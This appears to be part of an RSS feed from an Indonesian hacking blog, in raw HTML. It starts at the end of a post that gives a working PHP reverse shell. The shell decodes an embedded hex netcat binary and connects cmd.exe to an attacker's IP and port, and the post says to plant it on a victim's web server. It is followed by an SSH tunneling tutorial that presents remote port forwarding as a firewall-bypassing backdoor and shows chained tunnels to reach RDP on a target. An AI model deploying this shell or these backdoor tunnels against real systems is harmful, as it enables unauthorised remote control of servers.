<span style="color: #0000ff;">&quot;953487748d352a72740ddbb210a054a2684655749b5b30822e3d70a46a4e&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;57616b6e3304ce3f907cce4058dc82db9a947641a80c6e8e0bcd2d144284&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;6fa6c21470652d140c1e4a1471fe36cb663b4737077748388d49394af0e4&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;d91f842d4b34dcf22c70c0b24d367d742b36cb66794f3175503291513396&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;cdb25976523092532e93bff4bf42e085e087e089e08b09e088e08ae08d72&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;66a48c5ba20337919cc056b224e04881da455c00a5c0d0c5852efd1f5253&quot;</span><span style="color: #339933;">.</span>
<span style="color: #0000ff;">&quot;4453d7cf6e066ef8969fa9d33d46fcf5fc8a7e2600633a5c3e5c5265817d&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$nc</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span>strlen<span style="color: #009900;">&#40;</span><span style="color: #000088;">$hex</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">2</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$nc</span><span style="color: #339933;">.=</span><span style="color: #990000;">chr</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">hexdec</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$hex</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$hex</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">2</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #990000;">file_put_contents</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;nc.exe&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$nc</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;nc.exe &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ip&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;port&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; -d -e cmd.exe&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p align="justify">
Source code lengkap reverse shell php di windows bisa didownload di <a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/rswin.zip">sini</a> lalu ekstrak dan masukkan ke web server milik korban. Gambar di bawah ini menunjukkan ketika file rswin.php dieksekusi dan memberikan shell cmd.exe kepada server milik hacker yang menjalankan Linux.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/07/gotrswin.php_.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/07/gotrswin.php_.png" alt="" title="gotrswin.php" width="496" height="640" class="aligncenter size-full wp-image-2306" /></a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=IZ5LlbNf-HE:-5lWajhvZOE:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=IZ5LlbNf-HE:-5lWajhvZOE:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=IZ5LlbNf-HE:-5lWajhvZOE:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=IZ5LlbNf-HE:-5lWajhvZOE:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=IZ5LlbNf-HE:-5lWajhvZOE:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=IZ5LlbNf-HE:-5lWajhvZOE:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=IZ5LlbNf-HE:-5lWajhvZOE:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=IZ5LlbNf-HE:-5lWajhvZOE:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/how-to/reverse-connecting-shell-di-php/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Kupas Tuntas SSH Tunneling</title>
		<link>http://www.ilmuhacking.com/how-to/kupas-tuntas-ssh-tunneling/</link>
		<comments>http://www.ilmuhacking.com/how-to/kupas-tuntas-ssh-tunneling/#comments</comments>
		<pubDate>Mon, 14 Jun 2010 17:43:30 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[How to]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2150</guid>
		<description><![CDATA[SSH Tunneling adalah teknik yang wajib dikuasai hacker. Teknik ini sangat cocok dipakai sebagai backdoor dari  dunia luar langsung menembus ke dalam &#8220;behind enemy lines&#8221; melewati semua firewall, IDS, IPS atau apapun itu di perbatasan. Dalam artikel ini saya juga menjelaskan bagaimana melakukan chaining tunnel, yaitu menyambung tunnel dengan tunnel lain. Apa itu Tunneling? Secara [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">
<p style="text-align: justify;">SSH Tunneling adalah teknik yang wajib dikuasai hacker. Teknik ini sangat cocok dipakai sebagai backdoor dari  dunia luar langsung menembus ke dalam &#8220;behind enemy lines&#8221; melewati semua firewall, IDS, IPS atau apapun itu di perbatasan. Dalam artikel ini saya juga menjelaskan bagaimana melakukan chaining tunnel, yaitu menyambung tunnel dengan tunnel lain.</p>
<p style="text-align: justify;"><strong>Apa itu Tunneling?</strong></p>
<p style="text-align: justify;">Secara sederhana tunneling berarti mengirimkan data melalui koneksi lain yang sudah terbentuk. Kalau anda buka situs internet banking, pasti anda akan membukanya dengan URL berawalan &#8220;https&#8221;, yang sejatinya adalah data dalam protokol HTTP yang dikirimkan melalui koneksi dengan protokol SSL, atau &#8220;HTTP over SSL&#8221;, dalam bahasa gaulnya berarti HTTP digendong sama SSL.</p>
<p style="text-align: justify;">SSH dan SSL adalah dua contoh tunneling protocol, keduanya bisa dipakai untuk menggendong data dalam protokol apa saja (tidak hanya http). Hanya bedanya adalah pada SSL dibutuhkan public key certificate dalam format X.509 yang perlu diverifikasi melalui Certificate Authority resmi. SSH tidak memerlukan public key certificate, sehingga lebih sederhana dan lebih mudah dipakai.</p>
<p style="text-align: justify;"><span id="more-2150"></span></p>
<p style="text-align: justify;"><strong>Protocol Encapsulation</strong></p>
<p style="text-align: justify;">Dalam kasus https, data dalam protokol HTTP di-enkapsulasi (dibungkus) dalam protokol SSL sebagai payload. Enkapsulasi juga terjadi dalam layer model TCP/IP, yaitu data pada layer yang lebih atas menjadi payload dan di-enkapsulasi dengan protokol pada layer di bawahnya.</p>
<p style="text-align: justify;">Anda tentu tahu boneka lucu terbuat dari kayu dari Rusia bernama Matryoshka. Keunikan boneka ini adalah boneka yang berukuran kecil bisa dimasukkan ke dalam boneka yang lebih besar, dan boneka yang lebih besar juga bisa dimasukkan ke dalam boneka yang lebih besar lagi hingga pada akhirnya hanya ada satu boneka saja yang paling besar. Bila boneka yang paling besar itu dibuka, maka di dalamnya akan ada satu boneka yang lebih kecil, bila boneka tersebut dibuka, maka akan ditemukan boneka lagi yang lebih kecil, demikian seterusnya hingga boneka yang terkecil.</p>
<p style="text-align: justify;">Gambar di bawah ini sangat tepat menggambarkan apa itu protocol encapsulation.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/tcp_ip_troska1.jpg"><img class="aligncenter size-full wp-image-2173" title="tcp_ip_troska" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/tcp_ip_troska1.jpg" alt="" width="556" height="379" /></a></p>
<p style="text-align: justify;">Gambar di atas menggambarkan bagaimana data ketika dikirim dienkapsulasi dan dikirimkan melalui protokol yang berada pada layer di bawahnya. Pada gambar di atas bisa dikatakan bahwa email message tersebut dikirimkan dalam bentuk paket SMTP over TCP over IP over Ethernet. Jadi pada akhirnya semua data tersebut akan terkirim dalam bentuk paket ethernet.</p>
<p style="text-align: justify;">Dalam ilustrasi boneka matryoshka, pesan email adalah boneka matryoshka terkecil. Boneka ini dimasukkan dalam boneka matryoshka SMTP yang ukurannya lebih besar, kemudian boneka matryoshka SMTP ini dimasukkan dalam boneka matryoshka TCP, kemudian boneka matryoshka TCP ini dimasukkan dalam boneka matryoshka IP, dan akhirnya dimasukkan ke dalam boneka matryoshka ethernet yang berukuran paling besar.</p>
<p style="text-align: justify;">Jadi boneka matryoshka yang diterima lawan biacara adalah boneka matryoshka yang terbesar. Bila boneka ini dibuka, di dalamnya ada boneka Matryoshka IP yang lebih kecil, dan bila boneka ini juga dibuka, di dalamnya ada boneka matryoshka TCP yang semakin kecil ukurannya. Bila boneka matryoshka TCP ini dibuka, di dalamnya ada boneka matryoshka SMTP yang didalamnya ada matryoshka email message. Email message adalah boneka matryoshka terkecil.</p>
<p style="text-align: justify;">
<p style="text-align: justify;"><strong>Port Forwarding</strong></p>
<p style="text-align: justify;">Port forwarding atau port mapping pengalihan (redirection) koneksi dari suatu IP:Port ke IP:Port yang lain.  Ini artinya adalah semua koneksi yang ditujukan ke IP:Port asal akan dialihkan ke IP:Port tujuan seolah-olah client sedang menghubungi IP:Port tujuan secara langsung.</p>
<p style="text-align: justify;">Contoh: bila kita definisikan port forwarding 127.0.0.1:8080 dipetakan ke 192.168.10.10:80, artinya bila browser di arahkan ke url http://127.0.0.1:8080, maka request HTTP tersebut akan diteruskan ke 192.168.10.10:80. Jadi walaupun pada localhost (127.0.0.1) port 8080 tidak ada web server, namun web browser bisa membuka web pada url http://localhost:8080.</p>
<p style="text-align: justify;">Gambar di bawah ini adalah contoh port forwarding dari web <a href="http://www.nakahara-informatics.com/iget/tutorials/remote_access/port_forwarding/">nakahara-informatics.com</a>.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/port-forwarding-contoh.png"><img class="aligncenter size-full wp-image-2195" title="port-forwarding-contoh" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/port-forwarding-contoh.png" alt="" width="547" height="583" /></a>Pada port forwarding tersebut, didefinisikan sehingga klien dari dunia luar bisa mengakses service yang ada pada jaringan internal. Port forwarding yang didefinisikan adalah:</p>
<ul>
<li>64.130.31.59:10004 &#8211;&gt; 192.168.1.103:22</li>
<p>Artinya untuk SSH ke host 192.168.1.103, maka client harus ssh ke IP 64.130.31.59 port 10004.</p>
<li>64.130.31.59:10001 &#8211;&gt; 192.168.1.100:22</li>
<p>Artinya untuk SSH ke host 192.168.1.100, maka client harus ssh ke IP 64.130.31.59 port 10001.</p>
<li>64.130.31.59:8080 &#8211;&gt; 192.168.1.102:80</li>
<p>Artinya untuk mengakses halaman web di host 192.168.1.102, maka url yang harus dibuka di browser adalah http://64.130.31.59:8080</ul>
<p style="text-align: justify;">
<p style="text-align: justify;">Port forwarding pada ssh, mirip dengan port forwarding pada gambar di atas, namun ada sedikit perbedaan. Pada port forward gambar di atas, titik koneksi masuk dan keluar sama, artinya koneksi masuk ke IP dan port tertentu, dan koneksi tersebut akan diforward ke tempat lain dari titik yang sama juga. Sedangkan port forwarding pada ssh, titik keluarnya berbeda dengan titik masuknya. Agar lebih jelas, silakan lihat gambar di bawah ini.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/port_forwarding1.png"><img class="aligncenter size-full wp-image-2207" title="port_forwarding" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/port_forwarding1.png" alt="" width="398" height="332" /></a>Pada gambar di atas pada bagian atas, koneksi yang masuk di titik masuk, diforward ke tujuan dari titik itu juga. Ini adalah tipikal port forwarding di router/proxy. Sedangkan pada gambar di bawahnya, koneksi yang masuk di titik masuk, diforward ke tujuan dari titik lain di ujung sebelah kanan. Kotak panjang yang menghubungkan dua titik berwarna oranye tersebut menggambarkan koneksi ssh. Koneksi yang masuk akan diforward dari ujung koneksi ssh, bukan dari titik masuknya.</p>
<p style="text-align: justify;"><strong>Konsep SSH Tunneling</strong></p>
<p style="text-align: justify;">SSH adalah protokol yang multiguna, selain untuk menggantikan telnet, SSH juga mendukung fitur tunneling, port forwarding, download/upload file (Secure FTP), SOCKS proxy dsb. Semua fitur tersebut dibungkus dengan enkripsi sehingga data yang lewat melalui protokol ini aman dari jangkauan hacker.</p>
<p style="text-align: justify;">Dalam ssh tunneling, data yang dikirimkan melalui koneksi ssh akan di-enkapsulasi (dibungkus) dalam paket SSH seperti pada gambar di bawah ini.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/matrioska_terbuka.jpg"><img class="aligncenter size-full wp-image-2177" title="matrioska_terbuka" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/matrioska_terbuka.jpg" alt="" width="261" height="228" /></a></p>
<p style="text-align: justify;">Selain enkapsulasi paket, dalam ssh tunnel juga dibutuhkan port forwarding. Port forwarding dalam SSH tunnel ada 3 jenis:</p>
<ul>
<li>Local Port Forwarding</li>
<li>Remote Port Forwarding</li>
<li>Dynamic Port Forwarding</li>
</ul>
<p style="text-align: justify;">Perhatikan gambar di bawah ini untuk memahami perbedaan antara local port forwarding dan remote port forwarding.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/ssh_tunnel.gif"><img class="aligncenter size-full wp-image-2202" title="ssh_tunnel" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/ssh_tunnel.gif" alt="" width="446" height="389" /></a>Dari gambar di atas jelas terlihat bahwa perbedaan antara local dan remote port forwarding.</p>
<ul>
<li style="text-align: justify;">Pada local port forwarding, komputer yang bertindak sebagai ssh client akan menjadi titik masuk koneksi yang akan diforward dan komputer yang bertindak sebagai ssh server menjadi titik keluar. Jadi koneksi yang masuk ke titik masuk di komputer ssh client akan diforward ke tujuan dari komputer ssh server. Gambar di bawah ini ilustrasi lain dari ssh local port forwarding.</li>
</ul>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/local_port_forwarding21.png"><img class="aligncenter size-full wp-image-2222" title="local_port_forwarding2" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/local_port_forwarding21.png" alt="" width="371" height="169" /></a></p>
<ul>
<li style="text-align: justify;">Pada remote port forwarding, komputer yang bertindak sebagai ssh server akan menjadi titik masuk koneksi yang akan diforward dan komputer yang bertindak sebagai ssh client menjadi titik keluar. Jadi koneksi yang masuk ke titik masuk di komputer ssh server akan diforward ke tujuan dari komputer ssh client. Gambar di bawah ini ilustrasi lain dari ssh remote port forwarding.</li>
</ul>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/remote_port_forwarding1.png"><img class="aligncenter size-full wp-image-2221" title="remote_port_forwarding" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/remote_port_forwarding1.png" alt="" width="371" height="169" /></a>Jadi yang perlu diingat dalam perbedaan antara local dan remote port forwarding adalah posisi titik masuk koneksi yang akan diforward. Bila titik masuknya ada di komputer yang berperan sebagai ssh client, maka itu adalah local port forwarding, namun bila titik masuknya di komputer ssh server, maka itu adalah remote port forwarding.</p>
<p style="text-align: justify;">Dalam bahasa sederhananya, disebut local karena dari sudut pandang ssh client, titik masuknya ada di localhost, dan disebut remote karena titik masuknya bukan di localhost, tapi di komputer ujung sana.</p>
<p style="text-align: justify;"><strong>Static vs Dynamic Port Forwarding</strong></p>
<p style="text-align: justify;">Sebenarnya dynamic port forwarding  termasuk local port forwarding juga karena pada dynamic port forwarding,  titik masuk koneksi yang akan diforward berada di komputer yang  berperan sebagai ssh client. Namun pada local dan remote port forwarding  biasa (static), IP address dan port asal dan tujuan harus disetting dulu sebelum bisa dipakai, jadi sifatnya statis.</p>
<div id="attachment_2234" class="wp-caption aligncenter" style="width: 385px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/static_port_forwarding.png"><img class="size-full wp-image-2234" title="static_port_forwarding" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/static_port_forwarding.png" alt="" width="375" height="184" /></a><p class="wp-caption-text">(static) local port forwarding</p></div>
<p style="text-align: center;">
<p style="text-align: justify;">Gambar di atas adalah (static) local  port forwarding biasa. Pada local port forwarding biasa (static), setiap pemetaan port asal dan IP:port tujuannya harus disetting satu per satu. Jadi terlihat pada gambar di  atas, bila ada 3 tujuan yang ingin dihubungi, maka 3 pemetaan port asal dan IP:port tujuan harus disetting semua sebelum bisa dipakai.</p>
<p style="text-align: justify;">Pada gambar di atas terlihat di ssh client ada 3 port yang LISTEN (3 bulatan merah di sisi ssh client)  untuk 3 tujuan yang berbeda. Perlu dicatat juga bahwa ketiga pemetaan port forwarding tersebut dilakukan di atas satu koneksi ssh yang sama (multiple port forwarding on single ssh conection).</p>
<div id="attachment_2224" class="wp-caption aligncenter" style="width: 382px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/dynamic_port_forwarding.png"><img class="size-full wp-image-2224" title="dynamic_port_forwarding" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/dynamic_port_forwarding.png" alt="" width="372" height="181" /></a><p class="wp-caption-text">dynamic (local) port forwarding</p></div>
<p style="text-align: justify;">Sedangkan pada dynamic (local) port  forwarding, kita tidak perlu menentukan pemetaan port asal dan IP:tujuan untuk setiap tujuan. Kita hanya  perlu menentukan port  berapa yang akan LISTEN di localhost  (di komputer ssh  client), dan semua aplikasi bisa memanfaatkan  port tersebut sebagai  proxy ke tujuan manapun dengan protokol SOCKS (SOCKS proxy). Berbeda dengan gambar sebelumnya, pada dynamic port forwarding di sisi ssh client hanya ada satu port yang LISTEN (hanya ada satu bulatan merah).</p>
<p style="text-align: justify;"><strong>Multiple Port Forwarding on Single SSH Connection</strong></p>
<p style="text-align: justify;">Walaupun jarang dipakai, namun sebenarnya ssh mendukung banyak port forwarding dalam satu koneksi ssh. Kalau kita membutuhkan 3 local port forwarding dan 4 remote port forwarding, kita tidak perlu membuat 7 koneksi ssh, cukup satu koneksi ssh saja.<strong> </strong></p>
<div id="attachment_2241" class="wp-caption aligncenter" style="width: 389px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/multiple-port-forwarding.png"><img class="size-full wp-image-2241" title="multiple-port-forwarding" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/multiple-port-forwarding.png" alt="" width="379" height="186" /></a><p class="wp-caption-text">multi port forwarding on a single ssh connection</p></div>
<p style="text-align: justify;">Gambar di atas memperlihatkan ilustrasi multi port forwarding pada satu koneksi ssh yang sama. Dalam satu koneksi ssh tersebut port forwarding yang dibuat adalah:</p>
<ul>
<li>Panah berwarna hitam paling atas adalah local port forwarding.</li>
<li>Panah berwarna biru dan biru gelap di tengah adalah dynamic port forwarding.</li>
<li>Panah berwarna hijau paling bawah adalah remote port forwarding.</li>
</ul>
<p style="text-align: justify;">Daripada membuat 3 koneksi ssh untuk masing-masing port forwarding, jauh lebih sederhana dan praktis membuat multi port forwarding pada satu koneksi ssh.</p>
<p style="text-align: justify;"><strong>Membuat Local Port Forwarding</strong></p>
<p style="text-align: justify;">Sekarang setelah memahami konseptualnya, kita langsung praktek bagaimana membuat ssh tunnel dengan putty di Windows dan command line ssh di Linux.Command untuk membuat local port forwarding secara umum adalah:</p>
<pre>ssh -L localport:servertujuan:porttujuan user@ssh_server</pre>
<p style="text-align: justify;">Contohnya adalah:</p>
<pre>ssh -L 8888:www.kompas.com:80 admin@serverku.com</pre>
<p style="text-align: justify;">Perintah di atas akan membuat semua koneksi ke port 8888 di localhost, dialihkan ke www.kompas.com port 80 melalui serverku.com. Titik masuknya adalah localhost:8888 dan titik keluarnya adalah serverku.com. Bila kita membuka browser ke URL http://localhost:8888, request HTTP tersebut akan sampai di www.kompas.com:80 melalui serverku.com, artinya dari sudut pandang www.kompas.com koneksi berasal dari serverku.com, bukan dari komputer yang menjalankan perintah tersebut. Dalam log web server www.kompas.com, IP address visitor adalah ip address serverku.com, bukan ip address komputer yang menjalankan perintah tersebut.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/kompas_8888.png"><img class="aligncenter size-full wp-image-2231" title="kompas_8888" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/kompas_8888.png" alt="" width="571" height="317" /></a></p>
<p style="text-align: justify;">Kalau dalam windows, kita bisa gunakan putty.exe untuk membuat local port forwarding tunnel. Gambar di bawah ini adalah setting untuk forward koneksi localhost:8888 ke www.kompas.com:80. Caranya adalah dengan memasukkan 8888 ke dalam field &#8220;Source port&#8221;, dan memasukkan www.kompas.com:80 ke dalam field &#8220;Destination&#8221;. Setelah itu klik &#8220;Add&#8221;. Anda bisa menambahkan port forwarding yang lain sebanyak yang anda butuhkan dengan mengulang cara yang sama lalu klik &#8220;Add&#8221; lagi.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/putty_tunnel_8888.png"><img class="aligncenter size-full wp-image-2233" title="putty_tunnel_8888" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/putty_tunnel_8888.png" alt="" width="456" height="435" /></a></p>
<p><strong>Membuat Remote Port Forwarding</strong></p>
<p>Command untuk membuat remote port forwarding di Linux secara umum adalah:</p>
<pre>ssh -R remoteport:servertujuan:porttujuan user@ssh_server</pre>
<p style="text-align: justify;">Contohnya  adalah:</p>
<pre>ssh -R 8080:192.168.1.1:80 admin@serverku.com
</pre>
<p style="text-align: justify;">Perintah di atas akan membuat setiap koneksi ke serverku.com:8080 akan dialihkan ke 192.168.1.1 melalui komputer yang menjalankan perintah tersebut. Pada log server tujuan (192.168.1.1:80) yang terlihat dari koneksi yang masuk bukan ip address serverku.com. Server 192.168.1.1:80 akan melihat koneksi berasal dari komputer yang menjalankan perintah di tersebut (komputer ssh client).</p>
<p style="text-align: justify;">Kalau dengan putty caranya masukkan 9999 ke dalam kolom &#8220;Source port&#8221;, kemudian masukkan 192.168.1.1:80 sebagai kolom &#8220;Destination&#8221;, lalu klik Add. Anda bisa menambahkan banyak port forwarding dalam satu koneksi ssh, dengan cara yang sama, lalu klik Add sebanyak yang anda butuhkan.</p>
<p style="text-align: justify;">
<p><strong><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/remote_port_forwarding_putty.png"><img class="aligncenter size-full wp-image-2244" title="remote_port_forwarding_putty" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/remote_port_forwarding_putty.png" alt="" width="449" height="429" /></a></strong></p>
<p style="text-align: justify;">Remote port forwarding ini sangat cocok dipakai sebagai backdoor. Bila seorang hacker telah berhasil menyusup hingga &#8220;behind enemy lines&#8221;, dia bisa membuat remote port forwarding tunnel dari &#8220;behind enemy lines&#8221; ke server di luar milik hacker. Ini artinya hacker telah membuat terowongan, dengan pintu masuk di luar, dan pintu keluar di &#8220;behind enemy lines&#8221;. Ingat pada Remote port forwarding, titik/pintu masuk adalah di sisi ssh server, dan titik/pintu keluar di ssh sisi client. Dengan memakai terowongan ini, hacker bisa masuk melalui pintu di servernya sendiri yang berada di luar, dan secara otomatis hacker tersebut masuk ke &#8220;behind enemy lines&#8221; karena pintu keluar dari terowongan ini ada di &#8220;behind enemy lines&#8221;.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/illustrationofrafahtunnels.jpg"><img class="aligncenter size-full wp-image-2247" title="illustrationofrafahtunnels" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/illustrationofrafahtunnels.jpg" alt="" width="555" height="268" /></a></p>
<p style="text-align: justify;"><strong>Chaining Tunnel<br />
</strong></p>
<p style="text-align: justify;">Terkadang ketika melakukan penetrasi, di dunia nyata keadaan tidaklah semulus dan seindah teori atau dalam lab. Firewall seringkali membuat kita tidak bisa bebas membuat koneksi ke server yang kita inginkan. Dalam situasi seperti ini kita harus berputar-putar melalu beberapa server, sampai kita bisa mencapai server target.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/tunnelchain.png"><img class="aligncenter size-full wp-image-2256" title="tunnelchain" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/tunnelchain.png" alt="" width="503" height="410" /></a></p>
<p style="text-align: justify;">Perhatikan gambar di atas, target yang akan diserang hacker adalah server D.D.D.D port 3389, yaitu Remote Desktop connection, hacker ingin melakukan remote desktop komputer tersebut. Namun server D hanya bisa diakses oleh server C, dan server C hanya bisa diakses dari A. Hacker sudah menguasai penuh server A dan C, bagaimana caranya hacker tersebut bisa remote desktop ke D ?</p>
<p style="text-align: justify;">Tujuan akhirnya adalah hacker ingin koneksi ke localhost:9999 di laptop backtracknya, akan diforward ke D.D.D.D:3389. Jadi nanti dia tinggal menjalankan RDP client dengan memasukkan localhost:9999, dan dia otomatis akan terkoneksi ke RDP di server D. Sebagai info tambahan, komputer A dan C adalah linux dengan ssh service  diaktifkan.</p>
<p style="text-align: justify;">Mari kita coba membuat semua tunnel ini purely hanya dengan ssh.</p>
<p style="text-align: justify;">1. Buat port forwarding localhost:9999 &#8211;&gt; C.C.C.C:8888 via A.A.A.A.</p>
<p style="text-align: justify;">Hacker menjalankan ssh client di backtracknya untuk membuat koneksi ke  ssh server A.A.A.A. Dalam koneksi ssh ini, dia membuat local port  forwarding 9999:C.C.C.C:8888, yang artinya adalah koneksi ke port 9999  di backtrack si hacker akan diforward ke C.C.C.C:8888 via A.A.A.A.</p>
<p style="text-align: justify;">2. Buat port forwarding C.C.C.C:8888 &#8211;&gt; D.D.D.D:3389 via C.C.C.C</p>
<p>Di komputer C, hacker membuat koneksi ssh ke localhost (ke C itu sendiri). Dalam koneksi ssh ke diri sendiri ini dia membuat local port forwarding 8888:D.D.D.D:3389. Artinya adalah koneksi ke C.C.C.C:8888 akan diforward ke D.D.D.D:3389 (via C.C.C.C itu sendiri).</p>
<p>Kita membuat 2 tunnel, yang pertama adalah tunnel dengan pintu masuk di backtrack hacker dan pintu keluar di A.A.A.A. Tunnel kedua adalah denngan pintu masuk dan pintu keluar di C juga.</p>
<p>Pada tunnel pertama, koneksi ke pintu masuk di backtrack hacker (localhost:9999), akan diforward ke C.C.C.C:8888 via A.A.A.A Sedangkan pada server C.C.C.C sudah dibuat port forwarding sehingga semua koneksi yang masuk ke C.C.C.C:8888 akan diforward menuju D.D.D.D:3389.</p>
<p>Jadi akhirnya nanti alurnya adalah:</p>
<p>localhost:9999 &#8211;&gt; C.C.C.C:8888 &#8211;&gt; D.D.D.D:3389</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/tunnelchain2.png"><img class="aligncenter size-full wp-image-2257" title="tunnelchain2" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/tunnelchain2.png" alt="" width="634" height="180" /></a></p>
<p style="text-align: justify;">Gambar di atas menunjukkan chain tunnel yang dibuat. Koneksi ke localhost:9999 akan diteruskan ke C.C.C.C:888 dan koneksi ke C.C.C.C:8888 akan diteruskan ke D.D.D.D:3389. Jadi sama artinya dengan koneksi ke localhost:9999 diteruskan ke D.D.D.D:3389.</p>
<p style="text-align: justify;">
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 4468px; width: 1px; height: 1px; overflow: hidden;">Pada  dynamic port forwarding kita bisa leluasa memforward koneksi ke IP  dan  port apapun tanpa harus membuat  tunnel untuk setiap koneksi. Kita  hanya  perlu mendefinisikan port berapa yang akan LISTEN di komputer  localhost  (dari sudut pandang ssh client), dan semua aplikasi bisa  memanfaatkan  port tersebut sebagai proxy ke tujuan manapun dengan  protokol SOCKS (SOCKS proxy).</div>
<div class="feedflare">
